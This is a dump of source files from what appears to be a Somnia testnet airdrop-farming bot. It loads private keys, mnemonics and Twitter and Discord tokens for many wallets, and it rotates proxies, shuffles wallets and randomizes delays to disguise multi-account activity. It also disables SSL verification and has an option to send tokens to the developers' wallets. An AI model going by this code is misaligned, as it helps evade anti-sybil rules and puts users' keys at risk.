64 | -------------------------------------------------------------------------------- /src/model/help/stats.py: -------------------------------------------------------------------------------- 1 | from eth_account import Account 2 | from typing import Optional, Tuple 3 | from dataclasses import dataclass 4 | from threading import Lock 5 | from loguru import logger 6 | from src.utils.config import Config 7 | from src.model.onchain.web3_custom import Web3Custom 8 | 9 | 10 | @dataclass 11 | class WalletInfo: 12 | account_index: int 13 | private_key: str 14 | address: str 15 | balance: float 16 | transactions: int 17 | 18 | 19 | class WalletStats: 20 | def __init__(self, config: Config, web3: Web3Custom): 21 | # Используем публичную RPC ноду Base 22 | self.w3 = web3 23 | self.config = config 24 | self._lock = Lock() 25 | 26 | async def get_wallet_stats( 27 | self, private_key: str, account_index: int 28 | ) -> Optional[bool]: 29 | """ 30 | Получает статистику кошелька и сохраняет в конфиг 31 | 32 | Args: 33 | private_key: Приватный ключ кошелька 34 | account_index: Индекс аккаунта 35 | 36 | Returns: 37 | bool: True если успешно, False если ошибка 38 | """ 39 | try: 40 | # Получаем адрес из приватного ключа 41 | account = Account.from_key(private_key) 42 | address = account.address 43 | 44 | # Получаем баланс 45 | balance = await self.w3.get_balance(address) 46 | balance_eth = balance.ether 47 | 48 | # Получаем количество транзакций (nonce) 49 | tx_count = await self.w3.web3.eth.get_transaction_count(address) 50 | 51 | wallet_info = WalletInfo( 52 | account_index=account_index, 53 | private_key=private_key, 54 | address=address, 55 | balance=float(balance_eth), 56 | transactions=tx_count, 57 | ) 58 | 59 | with self._lock: 60 | self.config.WALLETS.wallets.append(wallet_info) 61 | 62 | logger.info( 63 | f"{account_index} | {address} | " 64 | f"Balance = {balance_eth:.4f} STT, " 65 | f"Transactions = {tx_count}" 66 | ) 67 | 68 | return True 69 | 70 | except Exception as e: 71 | logger.error(f"Error getting wallet stats: {e}") 72 | return False 73 | -------------------------------------------------------------------------------- /src/utils/decorators.py: -------------------------------------------------------------------------------- 1 | from functools import wraps 2 | import asyncio 3 | from typing import TypeVar, Callable, Any, Optional 4 | from loguru import logger 5 | from src.utils.config import get_config 6 | 7 | T = TypeVar("T") 8 | 9 | 10 | # @retry_async(attempts=3, default_value=False) 11 | # async def deploy_contract(self): 12 | # try: 13 | # # ваш код деплоя 14 | # return True 15 | # except Exception as e: 16 | # # ваша обработка ошибки с паузой 17 | # await asyncio.sleep(your_pause) 18 | # raise # это вернет управление декоратору для следующей попытки 19 | # 20 | # @retry_async(default_value=False) 21 | # async def some_function(): 22 | # ... 23 | 24 | def retry_async( 25 | attempts: int = None, # Make attempts optional 26 | delay: float = 1.0, 27 | backoff: float = 2.0, 28 | default_value: Any = None, 29 | ): 30 | """ 31 | Async retry decorator with exponential backoff. 32 | If attempts is not provided, uses SETTINGS.ATTEMPTS from config. 33 | """ 34 | def decorator(func: Callable[..., T]) -> Callable[..., T]: 35 | @wraps(func) 36 | async def wrapper(*args, **kwargs): 37 | # Get attempts from config if not provided 38 | retry_attempts = attempts if attempts is not None else get_config().SETTINGS.ATTEMPTS 39 | current_delay = delay 40 | 41 | for attempt in range(retry_attempts): 42 | try: 43 | return await func(*args, **kwargs) 44 | except Exception as e: 45 | if attempt < retry_attempts - 1: # Don't sleep on the last attempt 46 | logger.warning( 47 | f"Attempt {attempt + 1}/{retry_attempts} failed for {func.__name__}: {str(e)}. " 48 | f"Retrying in {current_delay:.1f} seconds..." 49 | ) 50 | await asyncio.sleep(current_delay) 51 | current_delay *= backoff 52 | else: 53 | logger.error( 54 | f"All {retry_attempts} attempts failed for {func.__name__}: {str(e)}" 55 | ) 56 | raise e # Re-raise the last exception 57 | 58 | return default_value 59 | 60 | return wrapper 61 | 62 | return decorator 63 | -------------------------------------------------------------------------------- /src/utils/reader.py: -------------------------------------------------------------------------------- 1 | import json 2 | from loguru import logger 3 | from eth_account import Account 4 | from eth_account.hdaccount import generate_mnemonic 5 | from web3.auto import w3 6 | 7 | 8 | def read_txt_file(file_name: str, file_path: str) -> list: 9 | with open(file_path, "r") as file: 10 | items = [line.strip() for line in file] 11 | 12 | logger.success(f"Successfully loaded {len(items)} {file_name}.") 13 | return items 14 | 15 | 16 | def split_list(lst, chunk_size=90): 17 | return [lst[i : i + chunk_size] for i in range(0, len(lst), chunk_size)] 18 | 19 | 20 | def read_abi(path) -> dict: 21 | with open(path, "r") as f: 22 | return json.load(f) 23 | 24 | 25 | class InvalidKeyError(Exception): 26 | """Exception raised for invalid private keys or mnemonic phrases.""" 27 | 28 | pass 29 | 30 | 31 | def read_private_keys(file_path: str) -> list: 32 | """ 33 | Read private keys or mnemonic phrases from a file and return a list of private keys. 34 | If a line contains a mnemonic phrase, it will be converted to a private key. 35 | 36 | Args: 37 | file_path (str): Path to the file containing private keys or mnemonic phrases 38 | 39 | Returns: 40 | list: List of private keys in hex format (with '0x' prefix) 41 | 42 | Raises: 43 | InvalidKeyError: If any key or mnemonic phrase in the file is invalid 44 | """ 45 | private_keys = [] 46 | 47 | with open(file_path, "r") as file: 48 | for line_number, line in enumerate(file, 1): 49 | key = line.strip() 50 | if not key: 51 | continue 52 | 53 | try: 54 | # Check if the line is a mnemonic phrase (12 or 24 words) 55 | words = key.split() 56 | if len(words) in [12, 24]: 57 | Account.enable_unaudited_hdwallet_features() 58 | account = Account.from_mnemonic(key) 59 | private_key = account.key.hex() 60 | else: 61 | # Try to process as a private key 62 | if not key.startswith("0x"): 63 | key = "0x" + key 64 | # Verify that it's a valid private key 65 | Account.from_key(key) 66 | private_key = key 67 | 68 | private_keys.append(private_key) 69 | 70 | except Exception as e: 71 | raise InvalidKeyError( 72 | f"Invalid key or mnemonic phrase at line {line_number}: {key[:10]}... Error: {str(e)}" 73 | ) 74 | 75 | logger.success(f"Successfully loaded {len(private_keys)} private keys.") 76 | return private_keys 77 | -------------------------------------------------------------------------------- /config.yaml: -------------------------------------------------------------------------------- 1 | # --------------------------- # 2 | # SETTINGS SECTION 3 | # --------------------------- # 4 | SETTINGS: 5 | # number of concurrent threads 6 | THREADS: 1 7 | 8 | # number of retries for ANY action 9 | ATTEMPTS: 5 10 | 11 | # account range. 12 | # BY DEFAULT: [0, 0] - all accounts 13 | # [3, 5] - only 3 4 5 accounts 14 | # [7, 7] - only 7 account 15 | ACCOUNTS_RANGE: [0, 0] 16 | 17 | # WORKS ONLY IF ACCOUNTS_RANGE IS [0, 0] 18 | # exact accounts to use. 19 | # BY DEFAULT: [] - all accounts 20 | # Example: [1, 4, 6] - bot will use only 1, 4 and 6 accounts 21 | EXACT_ACCOUNTS_TO_USE: [] 22 | 23 | SHUFFLE_WALLETS: true 24 | 25 | # pause between attempts 26 | PAUSE_BETWEEN_ATTEMPTS: [3, 10] 27 | 28 | # pause between swaps 29 | PAUSE_BETWEEN_SWAPS: [3, 10] 30 | 31 | # pause in seconds between accounts 32 | RANDOM_PAUSE_BETWEEN_ACCOUNTS: [3, 10] 33 | 34 | # pause in seconds between actions 35 | RANDOM_PAUSE_BETWEEN_ACTIONS: [3, 10] 36 | 37 | # random pause before start of every account 38 | # to make sure that all accounts will be started at different times 39 | RANDOM_INITIALIZATION_PAUSE: [20, 40] 40 | 41 | # if true, bot will send logs to telegram 42 | SEND_TELEGRAM_LOGS: false 43 | # telegram bot token 44 | TELEGRAM_BOT_TOKEN: "12317283:lskjalsdfasdfasd-sdfadfasd" 45 | # telegram users ids 46 | TELEGRAM_USERS_IDS: [235123432] 47 | 48 | 49 | FLOW: 50 | # if task from database failed, bot will skip it 51 | # if false, bot will stop and show error 52 | SKIP_FAILED_TASKS: false 53 | 54 | 55 | SOMNIA_NETWORK: 56 | # SETTINGS FOR ACTIONS ON https://quest.somnia.network/ 57 | # use for exchange tokens 58 | SOMNIA_SWAPS: 59 | # percent of balance to swap 60 | BALANCE_PERCENT_TO_SWAP: [10, 20] 61 | # random number of swaps 62 | NUMBER_OF_SWAPS: [5, 8] 63 | # swap all to STT 64 | SWAP_ALL_TO_STT: true 65 | 66 | 67 | # Only for SEND_TOKENS task on somnia network website 68 | SOMNIA_TOKEN_SENDER: 69 | # percent of balance to send 70 | BALANCE_PERCENT_TO_SEND: [1.5, 3] 71 | # random number of sends 72 | NUMBER_OF_SENDS: [1, 1] 73 | 74 | # chance to send tokens to devs. if 100, bot will send tokens to devs wallets every time 75 | # if 0, bot will send tokens to random wallets 76 | SEND_ALL_TO_DEVS_CHANCE: 0 77 | 78 | SOMNIA_CAMPAIGNS: 79 | # if true, bot will replace failed twitter account with next one 80 | REPLACE_FAILED_TWITTER_ACCOUNT: false 81 | 82 | 83 | RPCS: 84 | SOMNIA: ["https://dream-rpc.somnia.network"] 85 | 86 | 87 | OTHERS: 88 | SKIP_SSL_VERIFICATION: true 89 | USE_PROXY_FOR_RPC: true 90 | 91 | -------------------------------------------------------------------------------- /src/model/projects/mints/bigint.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from web3 import Web3 5 | from src.model.somnia_network.constants import SomniaProtocol 6 | from src.utils.decorators import retry_async 7 | from src.utils.constants import EXPLORER_URL_SOMNIA 8 | from eth_account import Account 9 | from src.model.onchain.web3_custom import Web3Custom 10 | 11 | 12 | class Bigint: 13 | def __init__( 14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account 15 | ): 16 | self.account_index = account_index 17 | self.somnia_web3 = somnia_web3 18 | self.config = config 19 | self.wallet = wallet 20 | 21 | @retry_async(default_value=False) 22 | async def mint_onchain_world(self): 23 | try: 24 | logger.info(f"{self.account_index} | Minting ONCHAIN WORLD NFT on Bigint...") 25 | 26 | # YAPPERS contract address 27 | contract_address = "0x7a2D0E24d20F44d6E83AD0e735882701d26a0C67" 28 | 29 | # Base payload with method ID 0x84bb1e42 30 | payload = "0x8467be0d0000000000000000000000000000000000000000000000000000000000000001" 31 | 32 | # Prepare transaction 33 | transaction = { 34 | "from": self.wallet.address, 35 | "to": self.somnia_web3.web3.to_checksum_address(contract_address), 36 | "value": Web3.to_wei(0.1, "ether"), 37 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 38 | self.wallet.address 39 | ), 40 | "chainId": await self.somnia_web3.web3.eth.chain_id, 41 | "data": payload, 42 | } 43 | 44 | # Get dynamic gas parameters instead of hardcoded 30 Gwei 45 | gas_params = await self.somnia_web3.get_gas_params() 46 | transaction.update(gas_params) 47 | 48 | # Estimate gas 49 | gas_limit = await self.somnia_web3.estimate_gas(transaction) 50 | transaction["gas"] = gas_limit 51 | 52 | # Execute transaction 53 | tx_hash = await self.somnia_web3.execute_transaction( 54 | transaction, 55 | self.wallet, 56 | await self.somnia_web3.web3.eth.chain_id, 57 | EXPLORER_URL_SOMNIA, 58 | ) 59 | 60 | if tx_hash: 61 | logger.success( 62 | f"{self.account_index} | Successfully minted Bigint ONCHAIN WORLD NFT" 63 | ) 64 | 65 | return True 66 | except Exception as e: 67 | random_sleep = random.randint( 68 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 69 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 70 | ) 71 | logger.error( 72 | f"{self.account_index} | Error minting Bigint ONCHAIN WORLD NFT: {e}. Sleeping for {random_sleep} seconds..." 73 | ) 74 | await asyncio.sleep(random_sleep) 75 | return False 76 | -------------------------------------------------------------------------------- /src/model/projects/deploy/mintair.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from web3 import Web3 5 | from src.model.somnia_network.constants import SomniaProtocol 6 | from src.utils.decorators import retry_async 7 | from src.utils.constants import EXPLORER_URL_SOMNIA 8 | from eth_account import Account 9 | from src.model.onchain.web3_custom import Web3Custom 10 | 11 | 12 | PAYLOAD = "0x6080604052348015600f57600080fd5b5061018d8061001f6000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063557ed1ba1461003b578063d09de08a14610059575b600080fd5b610043610063565b60405161005091906100d9565b60405180910390f35b61006161006c565b005b60008054905090565b600160008082825461007e9190610123565b925050819055507f3912982a97a34e42bab8ea0e99df061a563ce1fe3333c5e14386fd4c940ef6bc6000546040516100b691906100d9565b60405180910390a1565b6000819050919050565b6100d3816100c0565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061012e826100c0565b9150610139836100c0565b9250828201905080821115610151576101506100f4565b5b9291505056fea2646970667358221220801aef4e99d827a7630c9f3ce9c8c00d708b58053b756fed98cd9f2f5928d10f64736f6c634300081c0033" 13 | 14 | 15 | class Mintair: 16 | def __init__( 17 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account 18 | ): 19 | self.account_index = account_index 20 | self.somnia_web3 = somnia_web3 21 | self.config = config 22 | self.wallet = wallet 23 | 24 | @retry_async(default_value=False) 25 | async def deploy_mintair(self): 26 | try: 27 | logger.info(f"{self.account_index} | Deploying Mintair...") 28 | # Prepare transaction 29 | transaction = { 30 | "from": self.wallet.address, 31 | "value": 0, 32 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 33 | self.wallet.address 34 | ), 35 | "chainId": await self.somnia_web3.web3.eth.chain_id, 36 | "data": PAYLOAD, 37 | } 38 | 39 | # Get dynamic gas parameters instead of hardcoded 30 Gwei 40 | gas_params = await self.somnia_web3.get_gas_params() 41 | transaction.update(gas_params) 42 | 43 | # Estimate gas 44 | gas_limit = await self.somnia_web3.estimate_gas(transaction) 45 | transaction["gas"] = gas_limit 46 | 47 | # Execute transaction 48 | tx_hash = await self.somnia_web3.execute_transaction( 49 | transaction, 50 | self.wallet, 51 | await self.somnia_web3.web3.eth.chain_id, 52 | EXPLORER_URL_SOMNIA, 53 | ) 54 | 55 | if tx_hash: 56 | logger.success( 57 | f"{self.account_index} | Successfully deployed Mintair" 58 | ) 59 | 60 | return True 61 | except Exception as e: 62 | random_sleep = random.randint( 63 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 64 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 65 | ) 66 | logger.error( 67 | f"{self.account_index} | Error deploying Mintair: {e}. Sleeping for {random_sleep} seconds..." 68 | ) 69 | await asyncio.sleep(random_sleep) 70 | return False 71 | -------------------------------------------------------------------------------- /src/model/projects/others/quills.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from web3 import Web3 5 | from src.model.somnia_network.constants import SomniaProtocol 6 | from src.utils.decorators import retry_async 7 | from src.utils.constants import EXPLORER_URL_SOMNIA 8 | from eth_account import Account 9 | from src.model.onchain.web3_custom import Web3Custom 10 | 11 | 12 | class Quills: 13 | def __init__( 14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account 15 | ): 16 | self.account_index = account_index 17 | self.somnia_web3 = somnia_web3 18 | self.config = config 19 | self.wallet = wallet 20 | 21 | @retry_async(default_value=False) 22 | async def chat(self): 23 | try: 24 | random_message = random.choice(self.config.QUILLS.QUILLS_MESSAGES) 25 | logger.info( 26 | f"{self.account_index} | Sending message in Quills: {random_message}" 27 | ) 28 | 29 | # Определение контракта и его ABI 30 | contract_address = "0x16f2fEc3bF691E1516B186F51e0DAA5114C9b5e8" 31 | contract_abi = [ 32 | { 33 | "inputs": [ 34 | {"internalType": "string", "name": "message", "type": "string"} 35 | ], 36 | "name": "addFun", 37 | "outputs": [], 38 | "stateMutability": "payable", 39 | "type": "function", 40 | } 41 | ] 42 | 43 | # Создание контракта 44 | contract = self.somnia_web3.web3.eth.contract( 45 | address=self.somnia_web3.web3.to_checksum_address(contract_address), 46 | abi=contract_abi, 47 | ) 48 | 49 | # Подготовка параметров для вызова функции addFun 50 | eth_value = Web3.to_wei(0.0001, "ether") # 0.0001 ETH in wei 51 | 52 | # Создание вызова функции 53 | function_call = contract.functions.addFun(random_message) 54 | 55 | # Подготовка транзакции 56 | transaction = await function_call.build_transaction( 57 | { 58 | "from": self.wallet.address, 59 | "value": eth_value, 60 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 61 | self.wallet.address 62 | ), 63 | "chainId": await self.somnia_web3.web3.eth.chain_id, 64 | } 65 | ) 66 | 67 | # Получение газовых параметров 68 | gas_params = await self.somnia_web3.get_gas_params() 69 | transaction.update(gas_params) 70 | 71 | # Оценка газа с буфером 72 | gas_limit = await self.somnia_web3.estimate_gas(transaction) 73 | transaction["gas"] = gas_limit 74 | 75 | # Выполнение транзакции 76 | tx_hash = await self.somnia_web3.execute_transaction( 77 | transaction, 78 | self.wallet, 79 | await self.somnia_web3.web3.eth.chain_id, 80 | EXPLORER_URL_SOMNIA, 81 | ) 82 | 83 | if tx_hash: 84 | logger.success( 85 | f"{self.account_index} | Successfully sent message to Quills contract: {random_message}" 86 | ) 87 | 88 | return True 89 | except Exception as e: 90 | random_sleep = random.randint( 91 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 92 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 93 | ) 94 | logger.error( 95 | f"{self.account_index} | Error sending message in Quills: {e}. Sleeping for {random_sleep} seconds..." 96 | ) 97 | await asyncio.sleep(random_sleep) 98 | return False 99 | -------------------------------------------------------------------------------- /src/model/projects/mints/alze.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from web3 import Web3 5 | from src.model.somnia_network.constants import SomniaProtocol 6 | from src.utils.decorators import retry_async 7 | from src.utils.constants import EXPLORER_URL_SOMNIA 8 | from eth_account import Account 9 | from src.model.onchain.web3_custom import Web3Custom 10 | 11 | 12 | class Alze: 13 | def __init__( 14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account 15 | ): 16 | self.account_index = account_index 17 | self.somnia_web3 = somnia_web3 18 | self.config = config 19 | self.wallet = wallet 20 | 21 | @retry_async(default_value=False) 22 | async def mint_yappers(self): 23 | try: 24 | logger.info(f"{self.account_index} | Minting YAPPERS NFT on Alze...") 25 | 26 | # YAPPERS contract address 27 | contract_address = "0xF6e220FA8d944B512e9ef2b1d732C3a12F156B3c" 28 | 29 | # Wallet address without 0x prefix in lowercase 30 | wallet_address_no_prefix = self.wallet.address[2:].lower() 31 | 32 | # Base payload with method ID 0x84bb1e42 33 | payload = ( 34 | "0x84bb1e42" 35 | "000000000000000000000000" 36 | + wallet_address_no_prefix 37 | + "0000000000000000000000000000000000000000000000000000000000000001" 38 | "000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee" 39 | "0000000000000000000000000000000000000000000000000000000000000000" 40 | "00000000000000000000000000000000000000000000000000000000000000c0" 41 | "0000000000000000000000000000000000000000000000000000000000000160" 42 | "0000000000000000000000000000000000000000000000000000000000000080" 43 | "0000000000000000000000000000000000000000000000000000000000000000" 44 | "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" 45 | "0000000000000000000000000000000000000000000000000000000000000000" 46 | "0000000000000000000000000000000000000000000000000000000000000000" 47 | "0000000000000000000000000000000000000000000000000000000000000000" 48 | ) 49 | 50 | # Prepare transaction 51 | transaction = { 52 | "from": self.wallet.address, 53 | "to": self.somnia_web3.web3.to_checksum_address(contract_address), 54 | "value": 0, 55 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 56 | self.wallet.address 57 | ), 58 | "chainId": await self.somnia_web3.web3.eth.chain_id, 59 | "data": payload, 60 | } 61 | 62 | # Get dynamic gas parameters instead of hardcoded 30 Gwei 63 | gas_params = await self.somnia_web3.get_gas_params() 64 | transaction.update(gas_params) 65 | 66 | # Estimate gas 67 | gas_limit = await self.somnia_web3.estimate_gas(transaction) 68 | transaction["gas"] = gas_limit 69 | 70 | # Execute transaction 71 | tx_hash = await self.somnia_web3.execute_transaction( 72 | transaction, 73 | self.wallet, 74 | await self.somnia_web3.web3.eth.chain_id, 75 | EXPLORER_URL_SOMNIA, 76 | ) 77 | 78 | if tx_hash: 79 | logger.success( 80 | f"{self.account_index} | Successfully minted YAPPERS NFT" 81 | ) 82 | 83 | return True 84 | except Exception as e: 85 | random_sleep = random.randint( 86 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 87 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 88 | ) 89 | logger.error( 90 | f"{self.account_index} | Error minting YAPPERS NFT: {e}. Sleeping for {random_sleep} seconds..." 91 | ) 92 | await asyncio.sleep(random_sleep) 93 | return False 94 | -------------------------------------------------------------------------------- /src/model/projects/mints/mintaura.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from web3 import Web3 5 | from src.model.somnia_network.constants import SomniaProtocol 6 | from src.utils.decorators import retry_async 7 | from src.utils.constants import EXPLORER_URL_SOMNIA 8 | from eth_account import Account 9 | from src.model.onchain.web3_custom import Web3Custom 10 | 11 | 12 | class Mintaura: 13 | def __init__( 14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account 15 | ): 16 | self.account_index = account_index 17 | self.somnia_web3 = somnia_web3 18 | self.config = config 19 | self.wallet = wallet 20 | 21 | @retry_async(default_value=False) 22 | async def mint_somni(self): 23 | try: 24 | logger.info(f"{self.account_index} | Minting SOMNI NFT on Mintaura...") 25 | 26 | # YAPPERS contract address 27 | contract_address = "0xfA139F427a667b56d93946c2FD2c03601BaD033A" 28 | 29 | # Wallet address without 0x prefix in lowercase 30 | wallet_address_no_prefix = self.wallet.address[2:].lower() 31 | 32 | # Base payload with method ID 0x84bb1e42 33 | payload = ( 34 | "0x84bb1e42" 35 | "000000000000000000000000" 36 | + wallet_address_no_prefix 37 | + "0000000000000000000000000000000000000000000000000000000000000001" 38 | "000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee" 39 | "0000000000000000000000000000000000000000000000000000000000000000" 40 | "00000000000000000000000000000000000000000000000000000000000000c0" 41 | "0000000000000000000000000000000000000000000000000000000000000160" 42 | "0000000000000000000000000000000000000000000000000000000000000080" 43 | "0000000000000000000000000000000000000000000000000000000000000000" 44 | "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" 45 | "0000000000000000000000000000000000000000000000000000000000000000" 46 | "0000000000000000000000000000000000000000000000000000000000000000" 47 | "0000000000000000000000000000000000000000000000000000000000000000" 48 | ) 49 | 50 | # Prepare transaction 51 | transaction = { 52 | "from": self.wallet.address, 53 | "to": self.somnia_web3.web3.to_checksum_address(contract_address), 54 | "value": 0, 55 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 56 | self.wallet.address 57 | ), 58 | "chainId": await self.somnia_web3.web3.eth.chain_id, 59 | "data": payload, 60 | } 61 | 62 | # Get dynamic gas parameters instead of hardcoded 30 Gwei 63 | gas_params = await self.somnia_web3.get_gas_params() 64 | transaction.update(gas_params) 65 | 66 | # Estimate gas 67 | gas_limit = await self.somnia_web3.estimate_gas(transaction) 68 | transaction["gas"] = gas_limit 69 | 70 | # Execute transaction 71 | tx_hash = await self.somnia_web3.execute_transaction( 72 | transaction, 73 | self.wallet, 74 | await self.somnia_web3.web3.eth.chain_id, 75 | EXPLORER_URL_SOMNIA, 76 | ) 77 | 78 | if tx_hash: 79 | logger.success( 80 | f"{self.account_index} | Successfully minted Mintaura SOMNI NFT" 81 | ) 82 | 83 | return True 84 | except Exception as e: 85 | random_sleep = random.randint( 86 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 87 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 88 | ) 89 | logger.error( 90 | f"{self.account_index} | Error minting Mintaura SOMNI NFT: {e}. Sleeping for {random_sleep} seconds..." 91 | ) 92 | await asyncio.sleep(random_sleep) 93 | return False 94 | -------------------------------------------------------------------------------- /src/model/onchain/constants.py: -------------------------------------------------------------------------------- 1 | from decimal import Decimal 2 | from typing import Dict 3 | from dataclasses import dataclass 4 | 5 | 6 | @dataclass 7 | class Balance: 8 | """Balance representation in different formats.""" 9 | 10 | _wei: int 11 | decimals: int = 18 # ETH по умолчанию имеет 18 decimals 12 | symbol: str = "ETH" # ETH символ по умолчанию 13 | 14 | @property 15 | def wei(self) -> int: 16 | """Get balance in wei.""" 17 | return self._wei 18 | 19 | @property 20 | def formatted(self) -> float: 21 | """Get balance in token units.""" 22 | return float(Decimal(str(self._wei)) / Decimal(str(10**self.decimals))) 23 | 24 | @property 25 | def gwei(self) -> float: 26 | """Get balance in gwei (only for ETH).""" 27 | if self.symbol != "ETH": 28 | raise ValueError("gwei is only applicable for ETH") 29 | return float(Decimal(str(self._wei)) / Decimal("1000000000")) # 1e9 30 | 31 | @property 32 | def ether(self) -> float: 33 | """Get balance in ether (only for ETH).""" 34 | if self.symbol != "ETH": 35 | raise ValueError("ether is only applicable for ETH") 36 | return self.formatted 37 | 38 | @property 39 | def eth(self) -> float: 40 | """Alias for ether (only for ETH).""" 41 | return self.ether 42 | 43 | def __str__(self) -> str: 44 | """String representation of balance.""" 45 | return f"{self.formatted} {self.symbol} ({self._wei} wei)" 46 | 47 | def __repr__(self) -> str: 48 | """Detailed string representation of balance.""" 49 | base_repr = f"Balance(wei={self._wei}, formatted={self.formatted}, symbol={self.symbol})" 50 | if self.symbol == "ETH": 51 | base_repr = ( 52 | f"Balance(wei={self._wei}, gwei={self.gwei}, ether={self.ether})" 53 | ) 54 | return base_repr 55 | 56 | def to_dict(self) -> Dict[str, float]: 57 | """Convert balance to dictionary representation.""" 58 | if self.symbol == "ETH": 59 | return {"wei": self.wei, "gwei": self.gwei, "ether": self.ether} 60 | return {"wei": self.wei, "formatted": self.formatted} 61 | 62 | @classmethod 63 | def from_wei( 64 | cls, wei_amount: int, decimals: int = 18, symbol: str = "ETH" 65 | ) -> "Balance": 66 | """Create Balance instance from wei amount.""" 67 | return cls(_wei=wei_amount, decimals=decimals, symbol=symbol) 68 | 69 | @classmethod 70 | def from_formatted( 71 | cls, amount: float, decimals: int = 18, symbol: str = "ETH" 72 | ) -> "Balance": 73 | """Create Balance instance from formatted amount.""" 74 | wei_amount = int(Decimal(str(amount)) * Decimal(str(10**decimals))) 75 | return cls(_wei=wei_amount, decimals=decimals, symbol=symbol) 76 | 77 | @classmethod 78 | def from_ether(cls, ether_amount: float) -> "Balance": 79 | """Create Balance instance from ether amount.""" 80 | wei_amount = int(Decimal(str(ether_amount)) * Decimal("1000000000000000000")) 81 | return cls(_wei=wei_amount) 82 | 83 | @classmethod 84 | def from_gwei(cls, gwei_amount: float) -> "Balance": 85 | """Create Balance instance from gwei amount.""" 86 | wei_amount = int(Decimal(str(gwei_amount)) * Decimal("1000000000")) 87 | return cls(_wei=wei_amount) 88 | 89 | def __eq__(self, other: object) -> bool: 90 | if not isinstance(other, Balance): 91 | return NotImplemented 92 | return self._wei == other._wei 93 | 94 | def __lt__(self, other: object) -> bool: 95 | if not isinstance(other, Balance): 96 | return NotImplemented 97 | return self._wei < other._wei 98 | 99 | def __gt__(self, other: object) -> bool: 100 | if not isinstance(other, Balance): 101 | return NotImplemented 102 | return self._wei > other._wei 103 | 104 | def __add__(self, other: object) -> "Balance": 105 | if not isinstance(other, Balance): 106 | return NotImplemented 107 | return Balance(_wei=self._wei + other._wei) 108 | 109 | def __sub__(self, other: object) -> "Balance": 110 | if not isinstance(other, Balance): 111 | return NotImplemented 112 | return Balance(_wei=self._wei - other._wei) 113 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🔮 Somnia-Auto — Retrodrop Automation Bot 2 | 3 | A powerful and modular automation bot for the **Somnia Network**. 4 | Designed for efficient farming on the testnet and boosting your chances in potential retroactive airdrops. 5 | 6 | **SUPPORT >>>** [@jackthedevv](https://t.me/jackthedevv) **<<< SUPPORT** 7 | 8 | --- 9 | 10 | ## 🌟 Features 11 | 12 | * ✨ Multi-threaded wallet processing 13 | * 🔄 Automatic retries with custom attempts 14 | * 🔐 Proxy support for IP rotation 15 | * 📊 Wallet range selection 16 | * 🎲 Randomized delays between actions 17 | * 🔔 Telegram logging 18 | * 🗘️ Detailed transaction tracking 19 | * 🧩 Modular task execution 20 | * 🤖 Social media integrations (Twitter, Discord) 21 | * ⚠️ Discord auto-inviter 22 | * 💬 Blockchain messaging via Quills 23 | 24 | --- 25 | 26 | ## 🎯 Available Actions 27 | 28 | **Network:** 29 | 30 | * Claim Somnia Faucet 31 | * Send SOMNIA Tokens 32 | * Set Username 33 | * Fetch Account Info 34 | * Link Twitter/Discord 35 | * Complete Campaigns 36 | * Discord Invite Automation 37 | 38 | **Minting & NFTs:** 39 | 40 | * Mint Ping Pong Tokens 41 | * Mint NFTs: SHANNON, NEE, YAPPERS, SOMNI 42 | * Deploy contracts (Mintair) 43 | 44 | **Trading & Messages:** 45 | 46 | * Ping Pong Token Swaps 47 | * Send Quills blockchain messages 48 | 49 | --- 50 | 51 | ## 📋 Requirements 52 | 53 | * Python `3.11.1` to `3.11.6` 54 | * Somnia-compatible private keys 55 | * Optional: Proxies 56 | * Twitter API tokens 57 | * Discord tokens 58 | * Quills messages for on-chain communication 59 | 60 | --- 61 | 62 | ## 🚀 Installation 63 | 64 | ```bash 65 | git clone https://github.com/Dcurig/Somnia-Auto 66 | cd Somnia-Auto 67 | pip install -r requirements.txt 68 | ``` 69 | 70 | 1. Configure `config.yaml` 71 | 2. Place private keys in `data/private_keys.txt` 72 | 3. Add proxies in `data/proxies.txt` 73 | 4. Add Twitter tokens to `data/twitter_tokens.txt` 74 | 5. Add Discord tokens to `data/discord_tokens.txt` 75 | 6. Add Quills messages to `data/random_message_quills.txt` 76 | 77 | --- 78 | 79 | ## 📁 Structure 80 | 81 | ``` 82 | Somnia-Auto/ 83 | ├── data/ 84 | │ ├── private_keys.txt 85 | │ ├── proxies.txt 86 | │ ├── twitter_tokens.txt 87 | │ ├── 